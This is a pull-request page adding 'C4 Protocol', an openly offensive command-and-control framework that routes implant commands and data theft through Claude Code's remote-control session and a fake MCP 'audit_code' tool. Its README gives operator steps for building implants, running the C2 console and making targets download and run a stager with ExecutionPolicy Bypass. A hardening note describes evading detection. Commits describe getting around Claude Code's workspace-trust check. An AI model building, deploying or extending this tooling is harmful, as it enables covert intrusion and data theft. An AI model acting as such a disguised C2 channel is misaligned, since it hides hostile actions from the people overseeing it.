Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
27 commits
Select commit Hold shift + click to select a range
2df2711
feat: Add C4 Protocol coded communication pipeline
Mar 6, 2026
01a9564
style: Add type hints to all C4 Protocol Python modules
Mar 6, 2026
977317e
feat: Add salt prefix and decoy samples to resist reverse engineering
Mar 7, 2026
517a94e
docs: Add README and apply ruff formatting and cleanup
Mar 7, 2026
d488544
feat: Add pure C# inference engine and self-contained Collect-Decode.ps1
Mar 9, 2026
7c5d750
feat: Add encrypted output, MCP server, and operator utilities
Mar 9, 2026
7fb2bea
docs: Add system flow diagrams, fix pyright errors, add Taskfile
Mar 9, 2026
c159578
docs: Rewrite README intro with C2 round-trip diagram
Mar 9, 2026
c6e0c63
feat: Add value codebook for high-signature parameter substitution
Mar 10, 2026
e9a663f
refactor: Migrate weight export from JSON to SafeTensors format
Mar 10, 2026
8589de6
refactor: Reorganize c4_protocol into build/, runtime/, operator/, ou…
Mar 11, 2026
5d7732f
stashing
Mar 11, 2026
9db4234
refactor: In-memory PshAgent loading, per-instance build output, and …
Mar 13, 2026
353957d
chore: Move postmortems into docs/postmortems/ subdirectory
Mar 13, 2026
2ac092c
feat: Add browser bridge for Claude Code web automation and fix bugs
Mar 13, 2026
cd03784
docs: Update README with browser bridge, stager, and operator components
Mar 13, 2026
7565230
docs: Add step-by-step usage instructions to README
Mar 13, 2026
9c4507b
range
Mar 16, 2026
70e552e
feat: Add file serving to C2 server, infra scripts, and requirements
Mar 16, 2026
4970cae
fix: Serve files from all implant dirs instead of a single one
Mar 16, 2026
a71eae4
feat: Use human-readable implant IDs with coolname
Mar 16, 2026
594f275
refactor: Rename out/ to implants/ and list available implants on sta…
Mar 16, 2026
d87796f
fix: TUI color tweaks and replace em dash in stager template
Mar 16, 2026
f2544f8
feat: Show C2 server IP and copy-paste stager commands in TUI
Mar 16, 2026
8dd8007
fix: Launch claude from trusted home dir to avoid workspace trust error
Mar 16, 2026
b1fa770
fix: Use --debug-file for bridge URL capture on Windows
Mar 16, 2026
a8214a4
refactor: Rename run.py, code review fixes, stager trust pre-set
Mar 16, 2026
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
44 changes: 44 additions & 0 deletions Taskfile.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,44 @@
version: "3"

vars:
PYTHON_DIRS: c4_protocol

tasks:
clean:
desc: Remove Python cache files
cmds:
- find {{.PYTHON_DIRS}} -type d -name __pycache__ -exec rm -rf {} + 2>/dev/null || true
- find {{.PYTHON_DIRS}} -type f -name "*.pyc" -delete 2>/dev/null || true
- find . -maxdepth 1 -type d -name __pycache__ -exec rm -rf {} + 2>/dev/null || true

fmt:
desc: Format Python code with ruff
cmds:
- uv run ruff format {{.PYTHON_DIRS}}

fmt:check:
desc: Check Python formatting without modifying files
cmds:
- uv run ruff format --check {{.PYTHON_DIRS}}

lint:
desc: Run ruff linter and auto-fix
cmds:
- uv run ruff check --fix {{.PYTHON_DIRS}}

lint:check:
desc: Run ruff linter (check only)
cmds:
- uv run ruff check {{.PYTHON_DIRS}}

typecheck:
desc: Run pyright type checker
cmds:
- uv run pyright {{.PYTHON_DIRS}}

check:
desc: Run all checks (format, lint, typecheck)
cmds:
- task: fmt:check
- task: lint:check
- task: typecheck
4 changes: 4 additions & 0 deletions c4_protocol/.gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
__pycache__/
*.pyc
implants/
operator_*.xml
52 changes: 52 additions & 0 deletions c4_protocol/C4 Protocol Security Review & Hardenin.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,52 @@
# C4 Protocol Security Review & Hardening Notes

## Current Architecture Summary

The protocol uses a math-free **Encrypted Map** architecture. Commands are disguised as polymorphic natural-language coding directives across 6 syntax families. On the target, a lightweight C# engine derives a 64-character salt from the operator's X25519 Public Key, unlocks an XOR-encrypted "Configuration Vault," and resolves codewords directly to tool calls. All exfiltration is encrypted via modern X25519 ECDH + AES-256-CBC.

---

## Vulnerability Assessment (Updated March 2026)

### 1. FIXED: Salt derivation from X25519 Public Key
**Status: COMPLETED.** The salt is derived at runtime using HMAC-SHA256 of the operator's 32-byte X25519 Public Key. This replaces the bulky RSA XML scheme with a modern, high-entropy binary source.

### 2. FIXED: Encrypted Configuration Vault
**Status: COMPLETED.** All vocabulary mappings (Tool, Param, and Value) have been moved out of plaintext. They are consolidated into a JSON blob, XOR-encrypted with the 64-character salt, and stored as a binary vault. No protocol-specific strings are visible to static analysis.

### 3. MITIGATED: Long-Key XOR Encryption
**Status: IMPROVED.** The XOR key (Salt) length has been increased to 64 characters (256 bits). While still a repeating XOR cipher, the 64-byte cycle significantly increases the difficulty of frequency analysis against the encrypted JSON vault.

### 4. FIXED: Polymorphic Template Families
**Status: COMPLETED.** The system supports 6 distinct template families (`CLASS_METHOD`, `CLASS_ATTR`, `DECORATOR`, `TYPE_HINT`, `CONFIG_DICT`, `INHERITANCE`), breaking static regex-based detection and increasing structural variance.

### 5. FIXED: Many-to-One Value Mapping
**Status: COMPLETED.** Sensitive values (e.g., `/etc/passwd`) are now mapped to multiple randomized cover values, breaking 1:1 correlation during statistical analysis.

---

## Remaining Potential Vulnerabilities

### 6. MEDIUM: No temporal nondeterminism
The distribution of codewords remains uniform over time.
**Hardening ideas:**
- **Zipfian sampling**: Weight codeword selection to follow a power-law distribution.
- **Time-dependent selection**: Use `HMAC(salt, timestamp_hour)` to rotate the active codeword subset.

### 7. LOW: Single-parameter encoding per template sentence
Multi-parameter tool calls produce multiple sentences.
**Hardening:** Support multi-parameter templates that embed 2-3 params in a single class definition.

---

## Implemented Enhancements (March 2026)

| Priority | Change | Impact |
|----------|--------|--------|
| 1 | **X25519 KDF** | Modern, high-entropy salt derivation. |
| 2 | **XOR-Encrypted Vault** | Complete string hiding for all tool mappings. |
| 3 | **64-Character Key** | Statistical protection for the encrypted vault. |
| 4 | **6-Family Polymorphism** | Maximum structural variance in camouflage code. |
| 5 | **X25519 ECDH Exfil** | Perfect Forward Secrecy for exfiltrated results. |
| 6 | **Many-to-One Mapping** | Breaks 1:1 correlation of sensitive values. |
| 7 | **Math-Free Design** | 100% reliability; script size reduced to 50KB. |
195 changes: 195 additions & 0 deletions c4_protocol/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,195 @@
# C4 Protocol

Obfuscated C2 over Claude Code's remote-control (headless) feature. Commands are disguised as software engineering directives; results are returned as encrypted "compliance audit" reports. All traffic flows through Claude Code's normal MCP tool interface — no custom network channels, no suspicious processes.

```mermaid
sequenceDiagram
participant Op as Operator Console<br/>(c4_server TUI)
participant BB as Browser Bridge<br/>(Camoufox)
participant CC as Claude Code<br/>(web session)
participant MCP as MCP Server<br/>"Code Compliance Auditor"
participant Implant as c4-implant.ps1<br/>(target machine)

Note over Implant,CC: ── Bootstrap ──
Implant->>CC: rc_stager launches Claude Code<br/>remote-control session
CC-->>Op: BRIDGE beacon (TCP)<br/>with session URL

Note over Op,Implant: ── Outbound (command) ──
Op->>BB: Encoded directive
BB->>CC: Type into web UI input<br/>(ProseMirror automation)
CC->>MCP: audit_code(project_dir)
MCP->>Implant: pwsh -Command (in-memory ScriptBlock)
Note over Implant: Derive Salt (X25519 KDF)<br/>→ Unlock Vault (XOR) → execute<br/>→ encrypt results (ECDH+AES)

Note over Op,Implant: ── Return (exfiltration) ──
Implant-->>MCP: Fake audit report JSON<br/>+ encrypted verification_record
MCP-->>CC: "Audit passed. 3/3 checks clean."
CC-->>BB: DOM response extraction
BB-->>Op: Response text
Note over Op: Decrypt verification_record<br/>with private key → real output
```

## Overview

The protocol has two halves — **command encoding** and **result exfiltration** — both designed to blend into normal Claude Code / MCP traffic.

**Command path:** Tool invocations (e.g. `read_file path=/etc/passwd`) are encoded as varied coding tasks (polymorphic templates) using a trained codebook. On the target, a lightweight C# engine derives a 64-character salt from the operator's X25519 public key, unlocks an encrypted configuration vault, and resolves the codewords back to the original tool name and parameter.

**Return path:** Execution results are encrypted using a modern **X25519 ECDH + AES-256-CBC** hybrid scheme and embedded in a fake JSON audit report as a `verification_record` field. The report's surface text reads like a routine compliance scan. The operator uses their private key to perform an ECDH exchange and recover the real output.

**Transport:** Everything rides over Claude Code's headless mode and its standard MCP tool-call interface. The MCP server exposes a single tool called `audit_code`. The operator console automates the Claude Code web UI via a browser bridge (Camoufox/Playwright), so commands and responses flow through the normal web interface — no direct network connection to the target.

### Anti-reverse-engineering

- **Math-Free Encrypted Map** — All codeword-to-tool and codeword-to-parameter mappings are stored in a binary vault. No protocol-specific strings (`read_file`, `Portal`, etc.) exist in plaintext within the script.
- **Salt Derivation (KDF)** — A 64-character (256-bit) salt is derived at runtime from the operator's X25519 public key. This salt is used as the XOR key for the vault.
- **Polymorphic Templates** — Commands are encoded using 6 distinct template families (`CLASS_METHOD`, `CLASS_ATTR`, `DECORATOR`, `TYPE_HINT`, `CONFIG_DICT`, `INHERITANCE`) to break static detection.
- **Many-to-One Mapping** — Sensitive values (like `/etc/passwd`) are mapped to multiple randomized cover values, breaking 1:1 correlation during analysis.
- **Modern ECC Cryptography** — Uses X25519 for key derivation and Elliptic Curve Diffie-Hellman (ECDH) for secure result exfiltration.

## Pipeline

Each run produces a unique implant instance under `implants/<implant-id>/` with its own codebook, salt, config, and stager.

```
implant_actions.yaml
|
v
build/generate_codebook.py --> implants/<id>/codebook.yaml
|
v
build/generate_dataset.py --> implants/<id>/dataset.json + salt.txt
|
v
build/export_config.py --> implants/<id>/config.enc
|
v
assemble logic --> implants/<id>/c4-implant.ps1
|
v
build/assemble_stager.py --> implants/<id>/rc_stager_full.ps1
```

## Usage

### 1. Generate an operator key pair

```bash
cd c4_protocol
python operator/New-X25519Key.py --out operator/operator_key.bin
```

This writes the private key to `operator/operator_key.bin` and prints the public key. Keep the private key safe — it's needed to decrypt exfiltrated results.

### 2. Build an implant instance

```bash
python build_implant.py --public-key operator/operator_key.bin
```

This runs the full pipeline (codebook → dataset → config → assemble → stager) and produces a unique instance under `implants/<implant-id>/`. Each instance gets its own randomized codebook, salt, encrypted vault, and stager.

Optional flags:

```bash
python build_implant.py --public-key operator/operator_key.bin \
--tool-codes 50 # codewords per tool (default: 50)
--param-codes 100 # codewords per parameter (default: 100)
--seed 42 # fixed seed for reproducible builds
--pshagent-dir ../PshAgent # custom PshAgent module path
--step codebook # run only one step (codebook|dataset|config|assemble|stager)
```

### 3. Start the operator console

```bash
python operator/c4_server.py --port 9050 --tcp-port 9090
```

The console listens for beacon check-ins on HTTP (`:9050`) and TCP (`:9090`). When a stager beacons in with a bridge URL, use `interact <name>` to open a browser session and start issuing commands.

To also serve stager files over HTTP, pass `--serve-dir` pointing at the `implants/` directory:

```bash
python operator/c4_server.py --port 9050 --tcp-port 9090 --serve-dir implants/
```

Files are accessible at `GET /serve/<implant-id>/<filename>` (e.g. `/serve/abc123/rc_stager_full.ps1`). A listing of all implants and their files is available at `GET /serve`.

### 4. Deploy the stager

Copy `implants/<implant-id>/rc_stager_full.ps1` to the target. It contains everything needed — the implant, PshAgent, and MCP server — all loaded in-memory.

If the operator console is running with `--serve-dir`, the target can pull the stager directly:

```powershell
Invoke-WebRequest -Uri http://<c2-host>:9050/serve/<implant-id>/rc_stager_full.ps1 -OutFile C:\temp\stager.ps1
powershell -ExecutionPolicy Bypass -File C:\temp\stager.ps1
```

Or copy it manually and run:

```powershell
powershell -ExecutionPolicy Bypass -File rc_stager_full.ps1
```

The stager launches a Claude Code remote-control session and beacons the session URL back to the operator's TCP listener.

### 5. Decrypt results

Use the operator's private key with `operator/Decrypt-AuditRecord.ps1` to decrypt the `verification_record` field from audit reports:

```powershell
.\operator\Decrypt-AuditRecord.ps1 -PrivateKeyPath operator\operator_key.bin -Record "<base64 blob>"
```

## Components

### Build

#### build/kdf.py
Implements the 256-bit salt derivation from the X25519 public key.

#### build/encode.py
Encodes a tool call JSON into a polymorphic software directive. Supports random selection from 6 syntax families.

#### build/export_config.py
XOR-encrypts all mappings (codewords, tools, parameters, values) into a single binary blob using the derived salt.

### Operator

#### operator/c4_server.py
TUI-based operator console (Textual/Rich). Listens for beacon check-ins on HTTP and TCP ports, provides an interactive session manager for selecting targets and issuing commands. Parses operator input, encodes it via the implant's codebook, and delivers commands through the browser bridge or queues them for HTTP polling. Optionally serves stager files over HTTP (`--serve-dir`) for target-side retrieval.

#### operator/browser_bridge.py
Automates the Claude Code web UI using Camoufox (anti-detect Firefox via Playwright). Manages browser sessions: opens a remote-control session URL, types encoded directives into the ProseMirror editor, detects processing state (interrupt button, spinner, shimmer animation), and extracts response text from the DOM when Claude finishes.

#### operator/New-X25519Key.py
Generates a new modern X25519 key pair for the operator.

### Stager

#### stager/rc_stager.py
Launches a Claude Code remote-control session on the target and monitors stdout for the bridge URL. Once captured, beacons the URL to the C2 listener over TCP, then keeps the Claude process alive for the operator to connect.

#### stager/c2_listener.py
Minimal TCP server that listens for BRIDGE and SESSION beacons from stagers. Prints incoming session URLs with timestamps for operator discovery.

### Runtime

#### runtime/c4-implant.ps1.template
Self-contained PowerShell script performing scan → resolve → execute → encrypt.

#### runtime/mcp_server.py
FastMCP server exposing the `audit_code` tool. Receives project paths from Claude Code, invokes the implant as an in-memory PowerShell ScriptBlock, and returns the fake audit report.

## Artifacts (`implants/<implant-id>/`, gitignored)

| File | Description |
|------|-------------|
| `codebook.yaml` | Codeword-to-tool/param mappings (unique per instance) |
| `config.enc` | XOR-encrypted binary configuration vault |
| `salt.txt` | The 64-character salt used for this instance |
| `c4-implant.ps1` | Assembled implant with vault + operator key |
| `rc_stager_full.ps1` | Final stager (implant + PshAgent + MCP server embedded) |
| `operator_key.bin` | Operator public key (if provided) |
Loading